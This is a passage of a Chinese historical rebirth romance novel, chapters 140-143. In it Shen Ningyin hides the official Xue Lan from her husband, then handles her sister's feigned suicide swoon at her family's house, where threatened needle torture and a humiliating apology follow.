秦耀阳见她久不言语，索性举步就往屋内去。沈宁音反应过来连忙转身唤：“世子！”
为时已晚——
140. 藏匿
秦耀阳已经进了屋子，屋子就那么大，除了床榻哪里还能藏得住人？
沈宁音攥着帕子的手一阵发紧，叫她庆幸的是，目之所及并未看着薛岚的身影。
但窗户外头眼下人来人往，薛岚想走也是不成的……他一定在屋里。
秦耀阳的目光当先就落在了屏风边上，以往，这儿放着个软榻，是他夜里歇息的所在，如今乍然空了，他心里没来由有些不是滋味。
秦耀阳一回身，就对上了沈宁音的一双水眸：“宁音，你连软榻都抬走了？真这么气我？”
沈宁音压下心底的紧张，掩饰地别开目光，抿唇道：“世子说笑了，妾身哪敢气您？只是屋里东西多，再放个软榻，挤得慌。”
秦耀阳蹙了蹙眉，伸手就拉住了她的柔荑，被他这么一碰，一股子密密麻麻的不情愿从心底上泛，沈宁音几乎是下意识要挣扎。
秦耀阳握得很紧，眼神里带着点示弱：“这次的事，算我不对，我当真没想那么多，真是看她可怜才领回来的。”
沈宁音知他说的是陈青霜，他这会儿除了想叫自己在齐哥儿上学的事儿上助力，也有点哄着自己帮忙给陈青霜这事儿扫尾的意思。
但这两件事，沈宁音都不会去枉做好人。
沈宁音心下提着，手上更用力了些：“世子，娘家出了事，妾身要赶过去看，您放手。”
“不放。”秦耀阳神色认真起来：“你不原谅，本世子就要拉着。”
“……”沈宁音整个人都不好了，天知道这等拉拉扯扯的事会叫别人从哪个角落看个彻底，她只好低垂着目光，轻声道：“世子，妾身先回家去瞧瞧情况，有什么事，回来再说可好？”
这一下，到底是将手抽回来了，沈宁音皮肤自小就较旁人敏感些，容易留疤，亦容易留痕，这会儿她低头看时，皓白的腕骨上已经红了一圈。
秦耀阳顺着她的目光瞧去，愣怔的目光旋即幽深了些许，他抬眸，看向妻子那张明逸瑰姿的芙蓉面：“宁音……”
“嗯。”沈宁音并未看他，侧身让开路来：“没什么事的话，世子先回书房歇息？”
她话都到这份儿上了，沈宁音思忖着以秦耀阳素来的骄傲，断不会厚着脸皮再留下。可她失策了。
秦耀阳没往外头去，黑色的鞋尖就停在了她跟前。
沈宁音心下纳罕，抬眸时，秦耀阳整个人朝她靠了过来。
几乎同时的，沈宁音连连后退，没两步，她就感到后腰抵住了桌子。
她退无可退。
秦耀阳就站在她面前，一双眼睛里，是她从未见识过的陌生的神色。
“宁音，我今日听说了许多，下人们嚼舌根，该打，我碰见的也都罚过了，这些时日你受委屈了。”
沈宁音瞠大眸子看向他。
秦耀阳的手握住她的肩膀：“你若不安心，我今晚就搬回……”
“不必！”沈宁音立马打断他。但瞧见秦耀阳错愕的眼神，她也意识到不妥当，便道：“软榻都拆了，妾身等忙完去寻个匠人，打一张好的。”
“也不用那么好……”秦耀阳话没说完，沈宁音侧身去推他的手臂：“用的。世子身份贵重，妾身自当安排最好的。”
秦耀阳闻言，愣神过后，蓦地闪过一丝暧昧的喜色：“拆了就拆了。”他伸手将她拉回身前。
他眼神里含着一丝明悟的模样，软声开口：“以后也不必什么软榻了……”
沈宁音一时没反应过来，直到男人温热大掌扶住她的腰，另一只手往她腿弯伸去。
她重心不稳，下意识要去攀着男人的肩膀。
两世为人，那方面再如何迟钝，这会儿沈宁音也明白眼下的情况了。
秦耀阳是她的丈夫，圆房本该是值得高兴的事，无妨是为着坐稳地位，还是为着将来的考量。
哪怕她已经失望得够多，不再奢求一个孩子。但在这样的时代，若有，便是最好的。
换了任何时候，沈宁音都会顺水推舟。
可现在——真的不行！
沈宁音手撑着桌子，试图稳住身形：“世子……”
她反应得太迟，身子一轻，直接被抱起来了。沈宁音惊慌失措，脑子里嗡嗡的。
秦耀阳只以为她是第一次，太过紧张，他甚至分外享受着素来端庄的妻子慌乱无措的模样：“宁音，莫紧张，交给我便好。”
沈宁音冷下脸，试图推开他：“世子！这是白天！”
“白天又如何？”从前，他反感，他不愿，如今，妻子冷着脸拒绝求欢，秦耀阳心里有些失落，但这种失落并未持续多久，这种感受反而叫他心下更添坚决：“宁音，我会补偿你。”
沈宁音挣脱不开，抬眸看向越来越近的床榻……
她整个人麻了！
心脏像炸雷一般在胸腔鼓动——
倘使秦耀阳掀开床帐便会看见薛岚，看见陌生男人，看见陌生男人在床上！
“世子！”
沈宁音用力捏紧拳头：“耀阳！”她呼吸都要停止了。
秦耀阳终于停下来，低头看她：“嗯？”轻软的纱帐就在她身旁，沈宁音几乎能感觉到里面的呼吸随着她胸腔内的心跳而起伏。
“我……”沈宁音红润的嘴唇泛着一丝白：“我不想在这里。”
秦耀阳微笑里带着安抚的意味，沈宁音感觉到抱着自己的手紧了紧，那种密密麻麻的不适感来自腰间、来自心上。
“娘子是害羞了？”他问。
“我……”沈宁音冷静下来的脑子里，飞速思忖该要如何打发走他。可下一秒，她心脏里几乎要褪尽了血色。床帐里伸出两根手指。
“！”沈宁音眼里一闪而过的惊恐，飞快伸手蒙住了秦耀阳的眼睛：“是……妾身是害羞了！”
薛岚的动作很轻，悄无声息地撩开床帐。
“……”沈宁音从未这么后悔招惹上薛岚过！窗外那么多人，他这会儿钻出来作甚？！走不脱不说，这一览无余的房间里，他若被发现，那就连转寰的余地都没有了！
沈宁音愣神之际，秦耀阳脑袋略一后撤
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便躲开了她的手：“宁音，你蒙着我眼睛做甚？”
好巧不巧的，他睁眼看来的时候沈宁音猝不及防尚未收回目光。秦耀阳下意识地就顺着她看的方向瞧过去。
沈宁音心底尖叫，连忙要再去遮。秦耀阳早有防备，躲开了她的手掌。
秦耀阳定定地看了过去……
……
“阿嚏！”沈玉珠打了个喷嚏。
“可是冷着了？”蔡氏脸色忧愁地拢了拢女儿身上的披风。
沈玉珠摇摇头，目光看向前院儿里的那一帮子人。她叹了口气。
“真是的。怎么什么人都来了。”蔡氏满脸愤懑拉着女儿道：“你年岁还算小，莫要出去，仔细叫人给带累了名声。”
蔡氏告诫道：“一切等你宁音姑姑来了再做打算。”
蔡氏说是这般说，可她心里头也清楚，沈弦思这么一上吊，沈家女儿的名声怎么也要受着影响。
倘使再严重些，翻过年后的科举，但凡家世好点儿的子弟，即便榜下捉婿怕是也不肯屈就的。
沈玉珠心思不在亲事上，但一听到沈宁音，小姑娘眼眸便亮了起来：“姑姑会来么？”
“嗯。”蔡氏一面摸着沈玉珠的脑袋，一面道：“为娘已经叫了人去侯府请，最迟明日，她定会过来的。”
沈玉珠便拉着蔡氏的手往前院儿去：“走，咱们去大门口接姑姑去。”
蔡氏被拉着，想挣脱，又怕伤着闺女，只得连声劝：“哎哎，哪有那么快的？刚派人过去不久。”
前院儿里头，有皇城司的人，穿着官服，十分好认，这些人带着些辅官胥吏，其中也有沈玉珠跟蔡氏认识的，譬如沈弦思的未婚夫冷元景，这些天他日日过来，每每都被沈夫人拦在门外。
沈玉珠看着这人不禁想起那日从侯府回来之时。那天她是跟母亲一架马车，一路之上除了遇着了不想遇着的人，倒也还算顺遂。但沈弦思与沈含鸢不同，沈玉珠后来听下人们说起过——
沈弦思与沈含鸢所在的马车被冷家人拦下，那冷元景不知与沈弦思说了什么话，两人不欢而散。
再然后，就到了今日……
沈玉珠摇了摇脑袋，不去想这么些乱糟糟的事情。上次一别，她还有好多话想与姑姑说。
她提着裙摆，往二门外去，蓦地迎面传来个声音：“这么巧？”
这声音十分熟悉，沈玉珠甫一听见，整个人都紧绷了起来。她抬头时，目光果真撞入一双似笑非笑的眸子。
卞小公爷背着手，施施然从府外踏入：“沈姑娘。”
沈玉珠想躲，但将才跑得太快，娘亲还没撵上来，她几乎是窝囊地背过身去。
“怎么？沈家姑娘便是这般待客的？”声音从斜上方传下来。算不得刻薄，甚至带了三分温和。
沈玉珠看见抄手游廊走出来几个下人，她委实怕叫人误会什么，急得想跺脚。
卞小公爷已经转到她跟前：“装不认得？”
沈玉珠这会儿好希望娘亲能快些过来，眼圈突地便红了。
141. 烂摊
卞小公爷注意到小姑娘眼圈通红，一下子也是有点懵。他仔细回想，将才也没把她怎样，怎么就要哭了？
“玉姐儿。”一个声音从卞小公爷身后的大门外传过来。
听到这个声音沈玉珠脸上肉眼可见的喜色，紧接着，卞小公爷就瞧见面前的小姑娘宛若飞鸟投林般绕开他扑了过去。
“姑姑！”沈玉珠只觉有了主心骨，她嗅着姑姑身上恬淡的桃花香，便觉那日在赏花宴上的不安和害怕也都一并消失了。
沈宁音抱着侄女，她虽不长沈玉珠几岁，但疼爱也是真心的。安抚两句之后，目光就警惕地落在了卞小公爷身上。
卞家子弟都颇为低调，沈宁音前世时也不曾见着过，她不认识。
但门阀公子周身的气度皆是打小就养起来的，沈宁音鉴于前世今生两任夫婿的印象看，对眼前这厮便更警惕了。
“这位公子，不知内侄女可有什么得罪之处？”
卞小公爷脸上露出个自然而然的笑：“没有……”
他话音刚落，沈宁音便不软不硬道：“既没有，那妾身就将内侄女带走了，公子有什么事儿就请自便吧。”
沈宁音话罢拉着沈玉珠就往里走了。
卞小公爷堪堪愣住，他不由得摸了摸鼻子，失笑——从小到大，他去到何处不是旁人捧着让着的？何曾吃过这等软钉子。
他揽着衣摆往里去，还没迈过二门便听着不远处树荫下隐约传来仆从的议论声，诸如什么“泼皮、无赖、登徒子”云云。
卞小公爷一蹙眉，脚步就停了下来，转头去看时，只瞥见几个背影。
长随见他停下，便也站在一旁听吩咐，却只听着自家主子略略侧头，小声问：“小爷看起来像那什么……‘泼皮、无赖，登徒子’？”
长随乍一听询问，脑子一下子没反应过来：“像什么？”
卞小公爷有些恼：“登徒子！”他说出口又觉着这粗鄙之语声音大抵是大了些。
长随被敲了下脑袋，连忙道：“不像不像……”
“小爷就不该问你。”卞小公爷瞪了长随一眼，迈步走了进去。
沈宁音这会儿已经到了大厅边上，从窗旁瞥了下，人甚是齐全，她知晓沈弦思一多半是故意闹的，却不知竟闹得这般大的阵仗。
沈宁音一时又想起昌平侯府那件事，薛岚简直似个泼皮无赖行径，竟然好不躲藏，径直把人给打晕了！
虽说那样的情况委实紧急，可是薛岚倒是走了，留下她一个要怎么收拾烂摊子？！
现在而今眼皮下，秦耀阳还昏迷在床上呢。沈宁音这会儿有由头回了娘家，可等她一回去，要怎样同秦耀阳交代？
一时间这么多事，沈宁音只觉脑仁儿疼。
她耐着性子暂时安抚好受惊的沈玉珠，这才寻了个仆从询问侍郎府发生的缘故。
“还不是那未来新姑爷，还是个读书人哩，竟是个泼皮无赖登徒子，非要见思姑娘。”婆子愤愤指着屋里的冷元景咬牙小声说着。
听着那形容，沈宁音心情有点复杂，见婆子收了声，她吩咐：“接着说。”
“冷家姑爷非要闯进府邸，也不知送了个什么礼给思姑娘房里，姑娘大抵是心软，就悄悄地见了他。”
“后来呢？”沈宁音听到这儿，倒不觉着沈弦思真个会心软，她比这些人都了解沈弦思的心思。
沈弦思冷元景也并没有侍郎府所有人看到的、以为的那么爱冷元景，否则，前世的时候她也不会在嫁进昌平侯府之后不足一年便下药想跟秦耀阳圆房。
“后来。”婆子看了一眼屋子里，眼神有些闪烁：“后来四姑娘就当着皇城司官爷的面儿抓着白绫上府门口去了。”
沈宁音眉头紧皱，冷睨着那婆子：“你可莫要瞒我，若是因着你欺瞒，让本夫人错判了局势，到时候可帮衬不了咱们家。”
听了这话，婆子脸色一白，连忙事无巨细将内情讲了个圆满。
沈宁音是说路过后头跨院儿的时候隐约看见好些人守在门口。她出嫁之前，那院子根本就没住人，沈家表面光鲜，沈夫人又是个小家子气的，断不会为着排场就掏银子命人专门值守一个空院子。
却原来自己不在的时候，朱侍郎家里来过了人，这边一点头，朱家连聘礼都急匆匆送过来了！要聘的，就是是沈弦思！
沈宁音脸色气得有些发白，帕子都快掐出个洞来了。
专程写信千叮咛万嘱咐，果真自家那位便宜爹就非要当做了耳旁风！
“现在好了，我的儿都这样了，你满意了？！”沈夫人哭着趴在沈弦思的身上，边哭边指着冷元景，又看了一圈周遭的人：“弦思若然有个三长两短的，你们个个都脱不得干系！”
冷元景脸色难看，他张了张嘴想说话，但好似又忌惮四周的皇城司番子与胥吏。
领头的番子一身官衣，腰间挂着的，是百户的腰牌，蹙了蹙眉倒是先开了口：“本官是奉命来问话的，你们的家事，就不便参与了。”
沈宁音见番子虽这般说，却没有要走的意思，目光反倒若有似无地落在床上躺着的沈弦思脸上。
沈定山此刻的脸色尤其难看，听了皇城司番子的话就更显窘迫了。
沈宁音真真是怒其不争，见小利而忘义，一女许了两家婚，她写信提醒已然是仁至义尽了。
冷元景听了番子们不掺和这等话，表情放松了些许，转眸之际又看着了沈宁音走进来。
男人愣怔了一瞬，眉目好似是都亮了几分，冷元景挺直了背脊大声道：“沈伯母，咱们两家可是把婚期都商定好了，就在年尾。小婿回去姑苏便要使人来接亲的。”他说到这儿，素来俊美的脸庞染上几分狰狞，拔高了声音：“我与思儿两情相悦，如今她竟被你们许给朱侍郎家！简直荒唐可耻！”
那皇城司番子虽则放话不想掺和，但听了也是直皱眉。在上京城，但凡是体面人家，也没有这般不讲究的。
沈夫人一听就急了，她被下人搀扶着起来，一脸悲愤地驳斥：“冷四郎，你这说的什么话？这门亲事本就不是咱们家给思儿定下的。如今思儿从姑苏接回来了，旁人订下的事儿，自然就做不得数！”
“什么意思？！”冷元景眼睛里泛着不易察觉的冷寒，这样的表情沈宁音前世太熟悉了。
冷元景前世为官之时，每当他想要做些上不得台面的脏事儿，便是这等表情。
甚至当他在沈宁音缠绵病榻时日无多时，公然将旧相好沈弦思接进门做续弦时，也曾是这般表情。
沈宁音从前只以为他是变坏了，如今方知，他本性便是如此。前世的桩桩件件败坏老师名声的事儿，冷元景便是处心积虑找旁人来背这个锅。
此刻一想到老师孙靖元，前世竟被自己带累收了个中山狼做弟子，沈宁音只有愧疚和心疼。
这一切念头不过是瞬息间，下一刹，沈宁音便听见沈夫人有恃无恐的声音：“你说什么意思
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？你说定了亲事，可能拿出凭证来？！”
冷元景红着眼睛，早有准备，他伸手从小厮手里掏出来一个布包，里面有一卷红色帛书，一抖开，里头琳琅满目，都是聘礼。
“若没有议亲，我冷家岂能将聘礼单子都备好？”
沈夫人冷笑：“一个聘礼单子，能说明什么？这般寒酸的礼单，任谁都能这么来敷衍我侍郎府么？”
“你！”冷元景脸色阴沉。
沈定山老脸绷着，眼角颤了颤，却并未说话。但是沈夫人胡搅蛮缠他却是默许的。
沈宁音不语，沈夫人却不想叫她置身事外，下一瞬，沈夫人就冲过来将她拉了过去：“宁音，你站着作甚？旁人都欺到咱们家了，你即便嫁了人，那也是打从侍郎府抬出去的！你不会袖手旁观的，对吧？”
沈夫人的手指用力，凤仙花汁染的长指甲就陷进了沈宁音的手腕里。微微的刺痛叫沈宁音秀眉蹙起。看过去的时候，沈夫人死死盯着她。
她知晓，这么多人、又这般要紧的时刻，沈夫人是要提醒她注意自己的身份、提醒她自己是因着侍郎府才能嫁进昌平侯府做那少夫人。
“宁音，你说话呀。”感觉到沈宁音暗自的挣扎，沈夫人却是心下一慌，掐得更使劲了些。
沈宁音抬眸看向沈夫人，眼神带着冷，这般神色叫沈夫人心下大惊，沈宁音声音平淡：“母亲，您冷静些，弄疼我了。”
沈夫人心没来由一滞，少顷，她像是给烫着了般松开手，沈夫人看着沈宁音蹙眉揉手腕的模样。
她没来由想起了从前。
并非是沈宁音的从前，而是她自个儿的——嫡姐便像是个巨大的阴影，事事都压着她一头，哪怕嫡姐对她并不算磋磨，可每当她得到姐姐的旧步摇、旧衣服、旧镯子。她都有种自己在被可怜与施舍的感觉。
全天下都觉着，嫡姐对她好、她们合该是最亲近的姊妹，甚至就连嫡姐殁了，给姐夫续弦的机会也落在了她头上，可出嫁那日，沈夫人最痛恨的，便也是嫡姐了。
她连男人都只能要姐姐的旧人。她一辈子都脱不开身……
嫡姐死的那天，沈夫人最是舒心。
这么多年，她好悬就要忘了那人，可今日，沈宁音一个眼神，竟叫她重回当年那种被尘封的压抑。
可凭什么？她甚至都不是那人的种！沈夫人攥紧帕子：“沈宁音！莫要忘了你的身份！”
“如今你妹妹可还在这儿人事不知！”
沈夫人突然尖锐的声音叫所有人愣怔住，她满含气愤的声音：“你若还有点良心，便将这事儿处置分明！”
她这无端端的话，就连一旁看戏的卞小公爷都听不下去了。可偏偏沈夫人竟红了一双眼，沈定山想呵斥也都呵斥不下去。
沈宁音都要气笑了，她一个沈家的当家主母处置不当，倒要一推四五六，给自己这个出嫁女来理事。
不接吧，定要传她气哭母亲，不理娘家，冷漠姊妹。接了吧，无妨处置得好与不好，都落得个手长贪权的坏名声。
蔡氏想说话，偏生给沈夫人一眼凶光给瞪得脸色泛白。而沈定山不发话，旁人更不会来多这个事。
沈宁音举目四顾，要么事不关己，要么皆是吃定了要她来出这个头。
这是逼着沈宁音一定要来揽下这事儿啊……
她理了理袖子。将将抬眸，就听着门外传来一道声音——
“薛大人，您怎么亲自来了！”
142. 略通
卞小公爷原本抄着的手抽了开来，被薛岚一瞧，小公爷摸了摸鼻子，也不说话。
好在薛岚并未多问，施施然迈进了明间。
几个满脸高冷的番子这会儿诚惶诚恐地恭敬执礼。那紧张的表情叫沈宁音很是纳闷。
薛岚乃是皇城司公事，这些办事儿的番子怎么见着他来还会紧张？
这边厢沈宁音不动声色地跟着众人打招呼。薛岚一来，最紧张是的却是沈定山。
沈家经历过伪圣朝廷，气节什么的早就给磋磨没了，不然也不会为着攀上那礼部侍郎家就敢咬牙一女许两婚。
薛岚这次却也没拿乔，当先开口：“本司路过。”但这理由属实敷衍又蹩脚，就连沈夫人也糊弄不了，薛岚便将目光落在卞小公爷脸上：“是来寻卞小公爷。”
卞家的分量举足轻重，更何况还是国公府年轻一代的翘楚。是以，薛岚一点出他的身份，卞小公爷便也看不成戏了，所有人的目光都瞧了过去，有惊艳的，有羡慕的，也有好奇的。卞小公爷索性笑着举步走了出来：“路过，路过。”
旁人皆松了口气，只有沈宁音的眸子在他脸上多留了一息。
沈定山道：“家中些许私事怎敢搅扰使司大人，不如移步去次间？”
冷元景跟沈弦思的事儿到底是沈家悔婚在先，是沈家人不地道，沈定山自然希望越少人掺和越好。
可沈定山没料到的是，顶头上司在当场，皇城司百户却是纹丝不动，甚而反驳：“卑职等差事未了，就不伺候着大人了。”
沈宁音听罢，忍不住又来回看了两眼，她是听出来了，薛岚与这些人，来的目的不同。
又或者说，这些番子至少不是薛岚派来的。
薛岚并未去看沈宁音，只是冲沈定山云淡风轻道：“沈大人自便。”显然也没打算挪步。
沈定山脸色变幻，他是没料想这两尊“神”竟然请不走，可圣朝有不成文的规矩，而最不能招惹的规矩里头，不光有门阀大族，更有这皇城司。
卞家簪缨世家自不必说，单说那皇城司——大理寺、刑部、直隶衙门，皆可越过，监察百官、先斩后奏。领头的还是个绝了子孙的阉人。你惹恼了人家，人家灭尔全族！你侥幸有子孙后人侥幸逃得性命，报仇都找不到人报。
沈定山满脸郁卒，请不动、不敢撵，只能硬着头皮与那冷家子掰扯：“冷贤侄，此事是个误会。思儿年幼时养在外头，我与你伯母鞭长莫及，竟不知她何时被许了甚么亲事，我与你伯母委实不知情。”
见冷元景阴沉着脸要开口，沈定山忙道：“不如这样，你来去姑苏上京也不容易，五百两银子也算是给你做些盘缠。”
沈宁音倒是颇有些意外的，沈家并非阮家那等商贾，亦不是什么有底蕴的家族，这些年沈定山的官路也不好，一个没有实权的侍郎，想贪都没那资格收受贿赂。
在沈定山看来，五百两已经很多了，沈宁音甚至能看出来沈侍郎的肉疼表情。
可出乎沈定山预料，冷元景一届文人，听到五百两这样的大数目，脸上竟然浮现出一股子吞了苍蝇的嫌弃。
沈宁音嘴角微勾。便宜爹爹不知道的是，前一阵，秦耀阳随口就给了冷元景五百两。他见过了昌平侯府败家子的实力，这会儿哪还看得上沈定山这点钱。
“沈伯父莫不是要侮辱小婿！”冷元景面含屈辱，袖里的手紧紧攥起。
沈定山终于火起：“老夫可没你这个女婿！”
沈宁音只觉胳膊一疼，她秀眉紧蹙。转眸看时，沈夫人紧紧盯着她。意思很明显，叫她去帮衬。
“沈伯父，你当真要做到这等地步？！”
沈定山冷笑，并不觉着冷元景一个小辈能如何：“聘礼单子并不能证明什么，若然有婚书等物证，倒还有个说法，但冷四郎，你敢拿出来么？”
跟冷家定亲的是阮家，这会儿沈宁音已然以沈家女身份入了昌平侯府。
当初依了沈弦思，是因为她太爱冷元景，生死要嫁过去，然而现在，沈弦思自己点头都应了朱家的亲事。
无妨沈定山还是沈夫人，甚至姑苏阮家，没有人会放着现成的侍郎府朱家不要，去选个除了模样俊俏，在上京样样比不上的冷家第四子。
沈定山吃定了冷元景拿不出来。
眼瞧着冷元景神色变幻，即将要爆发。
“爹爹，话也不能这样说。”沈宁音的突然开口，把个冷元景与沈定山都惊了一刹。
薛岚的目光随着女子的身形移动，沈宁音莲步款款，便连举手投足，都透着股子大气温婉。他蓦地想起不久前在她卧房里时，她紧张得眼眶水润，蕴得泛红。
他下意识摸了摸腰间，空落落的，低头看时，没有他的绣春刀。
薛岚不自在地蹙了蹙眉。
沈宁音在父亲跟前站定：“冷郎君之事，既然是误会，稍后再叙不迟。”
她含笑看向那几个番子的方向：“倒是几位皇城司大人，时候不早，但有何等公务，先了却了才好。”
所谓当局者迷，沈宁音这话直击重点，请不动，那就等人家把事儿办了。
“是极，是极！”沈定山收敛了气恼，看向沈宁音的目光柔和了些，扯了个笑询问：“大人，这事儿，您看……”
沈宁音以为，皇城司既然是来办差的，来了这般久了，想必很快便能办完。
却不知，他们又把目光看向了在床上昏迷不醒的沈弦思。
沈宁音吃了一惊。
“可如今弦思姑娘尚在昏迷。”百户皱眉沉吟。
沈夫人攥着帕子红着眼睛道：“大人，小女先前自缢，也不知何时方能醒过来，再有何等事儿，就不能先缓一缓么？”
“这……”百户眉头皱得更紧，咬了咬牙：“本官是奉了死令前来，请恕卑职不能从命。”
沈夫人脸色难看起来，连眼泪都忘了控制。
沈宁音却是抓住了个关键，她不禁眼角余光瞥了眼冷若冰霜的薛岚。
她捏了捏指节思忖——薛岚已经位列皇城司公事，这已经是皇城司衙门里头勋贵挤破头能抵达的极限了。
可薛岚人在此处，那百户却同他不在一条心，很明显，“奉命”只能是奉更上头的命令。
比皇城司公事还高的。
要么，是圣人。<
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p>要么，是皇城司最高处的那位薛督公。
沈宁音一下子有了明悟，她笑着抬起明眸冲那位百户道：“这位大人，您既是为着舍妹而来，舍妹却不知几时会醒，不如这样，您可以先行离去，等舍妹醒了，我们再遣人去皇城司衙门禀明。”
“这……”百户皱眉。
沈宁音自然听出了他眼里的动摇，道：“大人若然不放心，也可以留个人在这。”毕竟已经是出嫁女，沈宁音依着规矩看向自家父亲：“爹爹觉着呢？”
沈定山自然巴不得如此：“然也，然也。”
人多眼杂又口杂，沈定山与沈弦思闹出来的事儿并不光彩，沈宁音就算不念着自个儿，也要念着沈玉珠跟沈引章，少几个人看着，事情也能和顺不少。
只要能全走皇城司公干的几个人，那薛岚与小公爷，沈宁音有的是理由把人遣走。
但事与愿违……
百户略略点头，刚要吩咐人留一个，沈宁音还来不及松口气，就听见一直没怎么说话的薛岚开了口。
“不必麻烦。”
薛岚的声音叫沈宁音的心没来由提了起来。她本能地揪紧了衣摆。
薛岚抬起手，沈宁音注意到，他虽从窄袖直裰换做了深衣常服，可手掌上却是戴着一双深色手套。薛岚张开薄唇，咬着手套往上扯，末了，面无表情地开口：“本司略通一些刑讯手段。”
“……”房间众人、尤其那些个见识过他手段的番子、胥吏，尽都满脸煞白。
薛岚把手套塞进袖子，云淡风轻掏出一卷几寸长的针具时，所有人面露惊恐安静如鸡。
“不可！”沈定山虽表面镇定，可他急促的声音出卖了他的内心。
薛岚侧过脸望向他，一双薄唇紧抿着。
他背脊挺得笔直，纵然不发一语，强大冷冽的气场也能叫沈定山淡定不得，两三息后，沈定山干巴巴的声音道：“老夫……老夫人是觉着，小女不是犯妇，岂能用刑讯之法？再者，小女昏迷，即便损伤身体，只怕也不一定醒来。”
薛岚难得好心地多说了些许话：“大人放心，一针下去，痛不欲生。岂能不醒？”
看沈定山神色愈发惊恐，薛岚补了句：“没有后遗症。”
没有后遗症的意思……是指没醒还能多扎几针？沈宁音犹豫着要不要去拦，不拦着会不会出人命？
并且她发誓，往后再也不沾惹此人！
再也不！
薛岚没理会沈定山，到了床前就往下扎，这一刹，沈宁音揪紧了裙裾，可有人比她快了一步。
卞小公爷的眉目微扬：“这么水灵的女娘，你还真下得去狠手？”
沈宁音松口气的同时，略一转眸，却蓦地察觉床上的沈弦思眼睫抖了一下。
这一下很是轻微，不下细可能就被忽略掉了。
她忽然就觉着自个儿方才的犹豫简直像个笑话。
有的人作死惯了，便有恃无恐了，捅出来烂摊子，总会有人上赶着去替她处置是吧？
沈宁音神色微凉，不动声色往后稍了稍。同时看向卞小公爷的神色就更不喜了。
’
’
143. 真痛
卞小公爷把人一拦，沈家几个人皆是松了口气，薛岚淡淡瞥了一眼床上的沈弦思，却道：“不妨事。”
卞小公爷神色一时复杂，许是正思忖如何打消这煞神的念头。这时，沈宁音的声音从旁传来：“小公爷是怕大人不知轻重，伤了舍妹。”
“对。”卞小公爷心下一松，就要借坡下驴。
哪知，沈宁音这话却不是来调和的，她素手一把拿过了薛岚手指间的长针：“还是妾身来吧。”
“你疯了！”沈夫人瞠大了眼睛，她抬脚就要上前拉扯。沈宁音目光蓦地慑向她，沈宁音前世做主母多年，威仪万千，紧急之下，强烈的压迫感毫不掩饰，又哪是沈夫人能抗衡的？沈夫人身子一僵，当下竟生不出冲上去的念头来。
未免夜长梦多，沈宁音依着穴位飞速刺了下去。
“啊啊啊！”一声凄厉的惨叫从沈弦思的口中冲瓦而起，她整个人几乎跳了起来。
众人都唬了一跳，除了两人。
其一便是知她装晕的沈宁音，另一个，就是薛岚。
只不过，沈宁音虽注意到薛岚，却觉着他脸上曾有过伤，以为他大抵是旧伤未愈，是以没表情也很合理的。
“沈宁音！你！”沈弦思眼含血丝，捂着被扎过的地方，死死盯着沈宁音。她刚要脱口而出骂人的时候，沈宁音满脸惊喜地先截了话头：“弦思妹妹，你终于醒了，你能醒过来可都是薛大人的功劳。”
沈宁音说着就敛衽走了几步，双手将细钢针往男人面前一递：“妾身替爹爹、母亲、替舍妹多谢薛大人。”
薛岚没有立马接起来，而是深深看了沈宁音一眼，直到周遭传递过来紧张的气氛时，他方慢悠悠单手捻起钢针，鼻间发出一个冷淡的单音：“嗯。”
薛岚没有多话，沈宁音却是在手掌一空之际，整个人放松了下来。
她这番借东风，薛岚算是默许了。
卞小公爷看向薛岚的神色有几分古怪。
而沈弦思这会儿脸色分外难看。旁人并不知晓，沈宁音那一针瞧着并未扎进去多么深，可她前世略懂针灸，虽处置不得什么大病，但穴位几何、怎样扎能放大人的痛觉还不沁血，她再清楚不过。
沈弦思能痛得跳起来，也是她故意为之。
薛岚不笑的时候，整个人似深不见底的冷冽深渊，即便他如今的面具薄如蝉翼，模样俊美到让女娘倾心，可他四周站着的一群皇城司番子胥吏却不是摆设。
沈弦思哪里敢同他造次？咽不下这口气的沈弦思便惨白着嘴唇扑进沈夫人怀里，一面哭一面控诉：“爹爹，母亲，我好痛！”
沈侍郎与沈夫人这些年分外疼爱纵容她，不必细说，二老就明白了女儿的意思。
若换了从前未出阁的时候，沈宁音会让着她，沈家众人也都顺着她，必是要重重惩罚沈宁音的。
依着沈弦思的琢磨，即便沈宁音如今高嫁，一个连沈家女都不是的冒牌货，就算不重罚，也得命她当众给自个儿道歉！
“沈宁音，你怎么能这么扎你妹妹？！”沈夫人想也不想转头就冲沈宁音吼。
然而沈弦思得意解气的笑容还没爬上嘴角，她便听到了一声比沈夫人高上一大截的呵斥：“你闭嘴！”
沈夫人不敢置信地看向沈定山。平日里她何曾被丈夫这么无情呵斥过？更何况而今这么多双眼睛都看着！
沈定山也没管妻子，爬满血丝的眼睛已然转向了亲女儿：“还有你！你姐姐就扎了那么浅，你竟跳起来三尺高，装晕还装痛？！是嫌不够丢人的？！”
沈弦思眼眶一下子就红得彻底，若说从前装过无数次可怜她都可以点头认了，装晕她也认了。但，她是真的痛到了骨子里啊！
“爹爹，我真的……”沈弦思眼泪大颗大颗往下掉，她委屈又着急地想辩解。
“够了！”沈定山给这么多外人看了家丑，实在慈父不起来，粗暴打断沈弦思的话：“还不给你姐姐跪下道歉？”
沈宁音佯作没瞧出沈弦思愤怒不甘的表情，她知沈定山其人自私，下跪这等事儿也不是他来做，他就是做个样子，让女儿跪家姐，想要叫人觉着他沈定山是个公允之人。
沈宁音甚至知晓父亲吃定了自己这个假千金若是个识大体的，断不会在这等场合真叫妹妹跪下。
可沈定山和沈弦思都料错了。
沈弦思膝盖弯曲，见沈宁音没有来扶自己的意思。“我错了。”沈弦思说完这句，想直接从下跪换成福身行礼。
她正打算起身时，沈宁音一个跨步握住她的胳膊往下一使力，嘴里是再温婉不过的话语：“妹妹快起来。”
沈弦思身子不稳，膝盖重重砸在夯土上，这一震直接叫她将嘴唇咬破，钝痛与刺痛交织，她脸色更白了，痛到整张惨白的脸都皱了起来。
沈宁音连忙松开她的手，以袖掩着红唇，眉眼间尽是心疼与感动之色：“姐姐都不怪你了，妹妹又何必如此郑重？”
听了这话，沈夫人与沈定山看向沈弦思的目光里添了几分欣慰。
可跪在地上的沈弦思想发作又发作不得，想起来又没了力气，只有眼泪大颗大颗地往下掉。她哭得情真意切。
沈宁音心下毫无柔软，表面又妥帖俱到，冲旁边儿伺候着的丫鬟婆子道：“姑娘受了惊吓，又这般伤心，都愣着作甚？还不快扶她起来。”
几个婆子连忙七手八脚将人扶上了软榻。
沈夫人连忙坐到床边去安抚沈弦思，目光里满是赞赏——演得真好，就得这么病恹恹的才像是将将自缢上吊过的虚弱模样。
沈弦思看着沈夫人的表情，一股子更大的委屈感从心里直冲脑门。
她哭得更凶了。
薛岚听着沈弦思的哭哭啼啼，微蹙了眉宇：“既醒了，便问吧。”
